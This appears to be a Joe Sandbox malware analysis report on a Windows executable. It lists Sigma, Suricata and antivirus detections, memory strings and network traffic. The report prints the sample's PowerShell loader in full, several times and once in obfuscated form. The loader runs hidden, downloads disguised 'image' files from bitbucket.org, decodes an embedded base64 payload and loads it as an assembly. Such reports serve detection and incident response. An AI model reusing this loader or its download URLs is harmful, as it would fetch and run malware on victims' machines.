Bi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\0XVZC3kfwL.exe, ProcessId: 3832, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQ

Data Obfuscation

Sigma detected: Powershell download and load assembly

Source: Process started

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T19:04:55.491964+0200	2803305	3	Unknown Traffic	192.168.2.8	49705	185.166.143.49	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0XVZC3kfwL.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: 0XVZC3kfwL.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 87.6% probability

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C23214 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF681C23214

Source: unknown

HTTPS traffic detected: 185.166.143.49:443 -> 192.168.2.8:49704 version: TLS 1.2

Source: 0XVZC3kfwL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wextract.pdb source: 0XVZC3kfwL.exe
Source:	Binary string: wextract.pdbGCTL source: 0XVZC3kfwL.exe
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000005.00000002.1545872221.000001EEDDF60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbP@{ source: powershell.exe, 00000005.00000002.1545597457.000001EEDDF1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbbert\Documents\WindowsPowerShell\Modules;C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSI:Syf source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000005.00000002.1546060009.000001EEDDFAE000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C22034 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF681C22034

Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1Host: bitbucket.org

Source: Joe Sandbox View

IP Address: 185.166.143.49 185.166.143.49

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49705 -> 185.166.143.49:443

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1Host: bitbucket.org

Source: global traffic

DNS traffic detected: DNS query: bitbucket.org

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 17:04:54 GMTContent-Type: text/html; charset=utf-8Content-Length: 15020Server: AtlassianEdgeVary: authorization, cookie, user-context, Accept-Language, Origin, Accept-EncodingX-Used-Mesh: FalseContent-Language: enX-View-Name: bitbucket.apps.downloads.views.download_fileEtag: "87058da896b55747ba4e6e46ed4a200d"X-Dc-Location: Micros-3X-Served-By: 52563790643dX-Version: 3ff600212c86X-Static-Version: 3ff600212c86X-Request-Count: 3879X-Render-Time: 0.10709047317504883X-B3-Traceid: f9323d398cc148a7b6a0238c8cc639adX-B3-Spanid: 1a15bdc36336d4d5X-Frame-Options: SAMEORIGINContent-Security-Policy: object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ 'nonce-5klEsQ+/lmMPaGnHlTQm6A=='; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; base-uri 'self'; fr
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 02 Oct 2024 17:04:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 15023Server: AtlassianEdgeVary: authorization, cookie, user-context, Accept-Language, Origin, Accept-EncodingX-Used-Mesh: FalseContent-Language: enX-View-Name: bitbucket.apps.downloads.views.download_fileEtag: "d262e8bacb3f21ca001bdceb1cfc66a0"X-Dc-Location: Micros-3X-Served-By: c1d37df8df76X-Version: 3ff600212c86X-Static-Version: 3ff600212c86X-Request-Count: 461X-Render-Time: 0.09731030464172363X-B3-Traceid: 8ba6f34777ac4d28bfc0b737ee6a4d2fX-B3-Spanid: 9c57bf6c5c877b71X-Frame-Options: SAMEORIGINContent-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ 'nonce-y+F3Ri7t30+2yS3vrtRQPg=='; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend.public.atl-paas.net micros--prod-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--prod-east--bitbucketci-file-service--files.s3.amazonaws.com micros--stg-west--bitbucketci-file-service--files.s3.us-west-1.amazonaws.com micros--stg-east--bitbucketci-file-service--files.s3.amazonaws.com micros--ddev-west--bitbucketci-file-service--files.s3.ap-southeast-2.amazonaws.com bqlf8qjztdtr.statuspage.io https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; base-uri 'self'; object-src 'none'; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod

Source: powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org
Source: powershell.exe, 00000004.00000002.1553033093.0000023208545000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000005.00000002.1541729825.000001EED5DC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7698000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1558255319.000002320A2EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://admin.atlassian.com
Source: powershell.exe, 00000004.00000002.1558255319.000002320A2A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000004.00000002.1558255319.000002320A2BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
